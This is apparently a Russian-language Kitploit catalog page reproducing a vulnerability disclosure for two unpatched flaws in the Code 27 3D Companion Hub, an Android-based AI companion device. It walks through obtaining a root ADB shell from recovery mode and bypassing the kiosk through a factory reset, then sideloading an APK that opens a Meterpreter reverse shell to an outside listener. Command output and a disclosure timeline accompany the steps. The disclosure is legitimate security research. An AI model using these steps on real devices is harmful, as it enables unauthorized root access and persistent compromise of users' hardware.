Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Code-27-Companion-Hub-Exploits — Proof of concept for CVE-2026-36027 and CVE-2026-36028 | Kitploit
Инструменты/GitHubGitHub/redr0nin/code-27-companion-hub-exploits
Android SecurityEmbedded Systems SecurityPrivilege EscalationIoT SecurityVulnerability AnalysisExploitationPenetration TestingHardware Security

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
redr0nin/code-27-companion-hub-exploits

Code-27-Companion-Hub-Exploits

Proof of concept for CVE-2026-36027 and CVE-2026-36028

Репозиторий
11 месяц назадЕщё не проверено

Уязвимости Code 27 3D Companion Hub (CVE-2026-36027, CVE-2026-36028)

Code 27 3D Companion Hub — это физическое настольное устройство, отображающее пользовательского ИИ-персонажа («Коди») в виде анимированного 3D-компаньона. Пользователи могут загружать или создавать любые 3D-модели, а мультимодальный ИИ позволяет персонажу видеть окружающую обстановку, распознавать тон и язык тела, а также вести свободные беседы.

В этом материале описаны две уязвимости, требующие физического доступа к устройству. Обе были проверены на указанной ниже сборке и на момент публикации остаются неисправленными.

Code 27 3D Companion Hub

Уязвимое устройство / сборка

ПолеЗначение
ПродуктCode 27 3D Companion Hub
Версия Companion Hub UI1.2.0
SoC / платаRockchip RK3588S (rk3588s_yt921)
ОСAndroid 12
ID сборкиSQ3A.220705.003.A1
Полный fingerprintrk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
Тип сборкиuserdebug / release-keys

В поставляемой прошивке используется userdebug-сборка (видно в баннере recovery и в ro.build.display.id). Сборки userdebug позволяют перезапускать adbd с правами root через adb root, что является ключевым фактором для существования CVE-2026-36027.

Экран версии Companion Hub, показывающий версию 1.2.0


CVE-2026-36027 — Произвольное выполнение кода через отладку по USB (ADB) в режиме восстановления

Краткое описание

Физически близкий злоумышленник может загрузить Companion Hub в режим восстановления Android и получить оболочку ADB с привилегиями root (uid=0, контекст SELinux u:r:su:s0). Поскольку устройство поставляется с userdebug-сборкой, adbd можно перезапустить с правами root с помощью adb root, что даёт злоумышленнику доступ на чтение/запись к среде восстановления, возможность перечислять свойства сборки и оборудования, а также доступ к функциям recovery (sideload, fastboot, работа с разделами).

Полученный доступ осуществляется в рамках ramdisk recovery, а не в работающей среде Android. В ходе тестирования действие Mount /system в recovery завершилось неудачей (libfs_mgr не смог открыть /dev/block/by-name/system), поэтому системный раздел не был напрямую смонтирован через этот путь, а загруженное пользовательское окружение с киоском и любыми расшифрованными пользовательскими данными в этом режиме не отображается.

Тем не менее это важно, потому что root-доступ к среде восстановления является основой для изменения постоянного состояния устройства (например, записи в разделы или установки специально созданного пакета обновлений), чтобы код злоумышленника мог запуститься при последующей обычной загрузке, тем самым закрепившись на работающем устройстве.

Доказательство концепции

  1. Выключите устройство.
  2. Когда устройство полностью выключится, одновременно зажмите кнопки питания и регулировки громкости, пока устройство не загрузится в меню восстановления Android.

Меню восстановления Android с подсвеченным пунктом Mount /system

  1. Подключите кабель USB-C к Companion Hub, а USB-A — к компьютеру.
  2. С помощью кнопок перейдите к пункту Mount /system, подсветите его и подтвердите. Операция, скорее всего, завершится ошибкой. Это ожидаемо, и эксплойт всё равно сработает. (В логах recovery будет сообщение libfs_mgr о невозможности открыть /dev/block/by-name/system.)
  3. Убедитесь, что устройство отображается в ADB на вашем компьютере:
root@kitploit:~
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
List of devices attached
YGKJ2601921S00193       recovery
  1. Устройство находится в режиме восстановления. Перезапустите adbd в контексте root:
root@kitploit:~
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
restarting adbd as root
timeout expired while waiting for device
  1. Откройте оболочку — теперь вы root на устройстве:
root@kitploit:~
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12
  1. Имея root-оболочку, вы можете просматривать и взаимодействовать с файловой системой recovery:
root@kitploit:~
# ls -la
total 840
drwxrwxrwt  33 root root     1040__bionic_open_tzdata: couldn't find any tzdata when looking for Asia/Shanghai!
 1970-01-01 00:00 .
drwxrwxrwt  33 root root     1040 1970-01-01 00:00 ..
drwxr-xr-x   2 root root       40 1970-01-01 00:00 acct
drwxr-xr-x   2 root root       40 1970-01-01 00:00 apex
lrwxrwxrwx   1 root root       11 1970-01-01 00:00 bin -> /system/bin
lrwxrwxrwx   1 root root       50 1970-01-01 00:00 bugreports -> /data/user_de/0/com.android.shell/files/bugreports
drwxr-xr-x   2 root root       40 1970-01-01 00:00 cache
drwxr-xr-x   3 root root        0 1970-01-01 00:00 config
lrwxrwxrwx   1 root root       17 1970-01-01 00:00 d -> /sys/kernel/debug
drwxr-xr-x   2 root root       40 1970-01-01 00:00 data
drwxr-xr-x   2 root root       40 1970-01-01 00:00 data_mirror
drwxr-xr-x   2 root root       40 1970-01-01 00:00 debug_ramdisk
lrwxrwxrwx   1 root root       12 1970-01-01 00:00 default.prop -> prop.default
drwxr-xr-x  15 root root     1380 1970-01-01 00:00 dev
lrwxrwxrwx   1 root root       11 1970-01-01 00:00 etc -> /system/etc
lrwxrwxrwx   1 root root       16 1970-01-01 00:00 init -> /system/bin/init
-rwxr-x---   1 root root      662 1970-01-01 00:00 init.recovery.rk30board.rc
drwxr-xr-x   2 root root       60 1970-01-01 00:00 linkerconfig
drwxr-xr-x  12 root root     4096 1970-01-01 00:00 metadata
drwxr-xr-x   8 root system    160 1970-01-01 00:00 mnt
drwxr-xr-x   2 root root      240 1970-01-01 00:00 odm
drwxr-xr-x   2 root root       60 1970-01-01 00:00 odm_dlkm
-rw-r--r--   1 root root        0 1970-01-01 00:00 odm_file_contexts
-rw-r--r--   1 root root        0 1970-01-01 00:00 odm_property_contexts
drwxr-xr-x   2 root root       40 1970-01-01 00:00 oem
drwxr-xr-x   3 root root      260 1970-01-01 00:00 pcba
-rw-r--r--   1 root root    47253 1970-01-01 00:00 plat_file_contexts
-rw-r--r--   1 root root    76958 1970-01-01 00:00 plat_property_contexts
drwxr-xr-x   2 root root       40 1970-01-01 00:00 postinstall
dr-xr-xr-x 220 root root        0 1970-01-01 00:00 proc
drwxr-xr-x   2 root root       40 1970-01-01 00:00 product
-rw-r--r--   1 root root        0 1970-01-01 00:00 product_file_contexts
-rw-r--r--   1 root root        0 1970-01-01 00:00 product_property_contexts
-rw-r--r--   1 root root    14023 1970-01-01 00:00 prop.default
drwxr-xr-x   3 root root       60 1970-01-01 00:00 res
drwx------   2 root root       40 2026-02-03 06:23 root
drwxr-xr-x   2 root root       60 1970-01-01 00:00 sbin
drwxr-xr-x   2 root root       40 1970-01-01 00:00 sdcard
drwxr-xr-x   2 root root       40 1970-01-01 00:00 second_stage_resources
-rw-r--r--   1 root root   658375 1970-01-01 00:00 sepolicy
drwxr-xr-x   2 root root       40 1970-01-01 00:00 sideload
drwxr-x--x   2 root root       40 1970-01-01 00:00 storage
dr-xr-xr-x  14 root root        0 1970-01-01 00:00 sys
drwxr-xr-x   5 root root      100 1970-01-01 00:00 system
drwxr-xr-x   2 root root       40 1970-01-01 00:00 system_ext
-rw-r--r--   1 root root      177 1970-01-01 00:00 system_ext_file_contexts
-rw-r--r--   1 root root     1889 1970-01-01 00:00 system_ext_property_contexts
drwxrwxr-x   2 root shell      40 1970-01-01 00:00 tmp
drwxr-xr-x   3 root root       60 1970-01-01 00:00 vendor
drwxr-xr-x   2 root root       60 1970-01-01 00:00 vendor_dlkm
-rw-r--r--   1 root root    25441 1970-01-01 00:00 vendor_file_contexts
-rw-r--r--   1 root root     4395 1970-01-01 00:00 vendor_property_contexts

CVE-2026-36028 — Обход ограничений киоска через сброс до заводских настроек

Краткое описание

Сброс до заводских настроек, выполненный из меню recovery, стирает раздел userdata, в котором установлены приложения киоска. Поскольку киоск не является частью системного раздела, он не восстанавливается при перезагрузке, и устройство загружается в стандартную, неограниченную среду Android (лаунчер, веб-браузер, файловый менеджер, настройки и другие системные приложения).

Из этой неограниченной среды злоумышленник может снова включить параметры разработчика/отладку по USB, загрузить произвольный APK и выполнить его, получив оболочку на работающей операционной системе. В ходе тестирования это дало сессию meterpreter, работающую от имени непривилегированного пользователя приложения u0_a79 — другой контекст привилегий и данных по сравнению с root-оболочкой в режиме recovery из CVE-2026-36027, поскольку она выполняется на загруженной в обычном режиме ОС, а не на ramdisk recovery. Код, внедрённый и запущенный в таком состоянии, выполняется как часть нормальной работы устройства, предоставляя злоумышленнику интерактивный контроль над устройством и его пользовательской файловой системой.

Доказательство концепции

  1. Выключите устройство.
  2. Когда устройство полностью выключится, одновременно зажмите кнопки питания и регулировки громкости, пока устройство не загрузится в меню восстановления Android.
  3. Подсветите пункт Wipe data/factory reset и подтвердите сброс.

Меню восстановления Android с подсвеченным пунктом Wipe data/factory reset

  1. После перезагрузки устройства приложения киоска отсутствуют, и режим киоска не запускается. Это происходит потому, что приложения киоска установлены в разделе userdata, а не в системном разделе. Сброс до заводских настроек через recovery стирает userdata, безвозвратно удаляя приложения киоска; поскольку они отсутствуют в системном разделе, они не восстанавливаются при перезагрузке, и киоск не запускается.
  2. Злоумышленнику предоставляется неограниченная среда Android, включающая веб-браузер, файловый менеджер, настройки и другие системные приложения. Отсюда можно включить отладку по USB, загрузить произвольный APK и выполнить его — в данном случае это дало сессию Meterpreter на работающей ОС:
root@kitploit:~
[*] Sending stage (72424 bytes) to 10.0.0.48
[*] Meterpreter session 2 opened (10.0.0.224:8000 -> 10.0.0.48:58094) at 2026-02-20 19:06:47 -0500

meterpreter > getuid
Server username: u0_a79
meterpreter > cd /
meterpreter > ls
Listing: /
==========

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  acct
040554/r-xr-xr--  480      dir   1969-12-31 19:00:03 -0500  apex
040110/--x--x---  8192     dir   2008-12-31 19:00:00 -0500  bin
000000/---------  0        fif   1969-12-31 19:00:00 -0500  bugreports
040000/---------  4096     dir   1969-12-31 19:00:04 -0500  cache
040554/r-xr-xr--  0        dir   1969-12-31 19:00:00 -0500  config
040554/r-xr-xr--  0        dir   1969-12-31 19:00:00 -0500  d
040110/--x--x---  4096     dir   2026-02-03 01:27:34 -0500  data
040000/---------  120      dir   1969-12-31 19:00:04 -0500  data_mirror
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  debug_ramdisk
040554/r-xr-xr--  1760     dir   2026-02-03 01:27:34 -0500  dev
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  etc
100554/r-xr-xr--  1997584  fil   2008-12-31 19:00:00 -0500  init
100000/---------  463      fil   2008-12-31 19:00:00 -0500  init.environ.rc
040554/r-xr-xr--  240      dir   1969-12-31 19:00:03 -0500  linkerconfig
040000/---------  16384    dir   2008-12-31 19:00:00 -0500  lost+found
040554/r-xr-xr--  4096     dir   1969-12-31 19:00:04 -0500  metadata
040554/r-xr-xr--  360      dir   1969-12-31 19:00:05 -0500  mnt
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  odm
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  odm_dlkm
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  oem
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  postinstall
040554/r-xr-xr--  0        dir   1969-12-31 19:00:02 -0500  proc
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  product
040776/rwxrwxrw-  3452     dir   2026-02-03 01:27:39 -0500  sdcard
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  second_stage_resources
040110/--x--x---  80       dir   1969-12-31 19:00:04 -0500  storage
040554/r-xr-xr--  0        dir   1969-12-31 19:00:02 -0500  sys
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:54 -0500  system
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  system_ext
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:54 -0500  vendor
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  vendor_dlkm

График раскрытия

Скачать инструмент
ДатаСобытие
2026-02-17Обе уязвимости раскрыты команде Code 27 и подтверждены.
2026-02-17Обе 0-day уязвимости сообщены в MITRE.
2026-02-18Команда Code 27 обсудила план устранения, собрала дополнительную информацию и заявила, что исправление будет выпущено.
2026-06-15MITRE назначает CVE-2026-36027 и CVE-2026-36028.
2026-06-15Code 27 уведомлён о назначении; первоначальный контакт передаёт информацию группе безопасности для проверки сборки.
2026-06-16Группа безопасности Code 27 снова запрашивает полные технические детали.
2026-06-17Полные технические детали снова предоставлены группе безопасности.
2026-06-18Ответа от группы безопасности нет.
2026-06-19Представитель Code 27 заявляет, что компаниям обычно даётся 90 дней на устранение проблем безопасности, и что группа безопасности уже в курсе. Представителю сообщают, что проблемы были сообщены более 120 дней назад. Установлен срок раскрытия — 1 июля.
2026-06-25Связались с группой безопасности Code 27 для подтверждения окончательного предупреждения о сроке и публикации.
2026-06-28Code 27 приносит извинения, подтверждает идентификаторы CVE и срок раскрытия, заявляет, что публичное уведомление и ссылка будут отправлены до 1 июля.
2026-07-01Связались с Code 27 по поводу статуса уведомления; ответа нет.
2026-07-02Опубликованы детали неисправленных уязвимостей.